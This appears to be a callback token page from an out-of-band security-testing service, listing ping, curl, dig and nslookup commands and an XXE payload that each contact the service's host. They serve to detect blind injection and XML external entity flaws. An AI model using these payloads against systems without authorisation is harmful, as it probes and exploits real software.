$ ping -c1 -p 00bf96c30a75460aed67ade1ee23b300 unhack.ca
 

$ curl http://unhack.ca/p/bf96c30a75460aed67ade1ee23b3
 

$ dig bf96c30a75460aed67ade1ee23b3 @unhack.ca
 

$ dig bf96c30a75460aed67ade1ee23b3.ns.unhack.ca
 

C:\> nslookup bf96c30a75460aed67ade1ee23b3 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bf96c30a75460aed67ade1ee23b3">]>
    <foo>&xxe;</foo>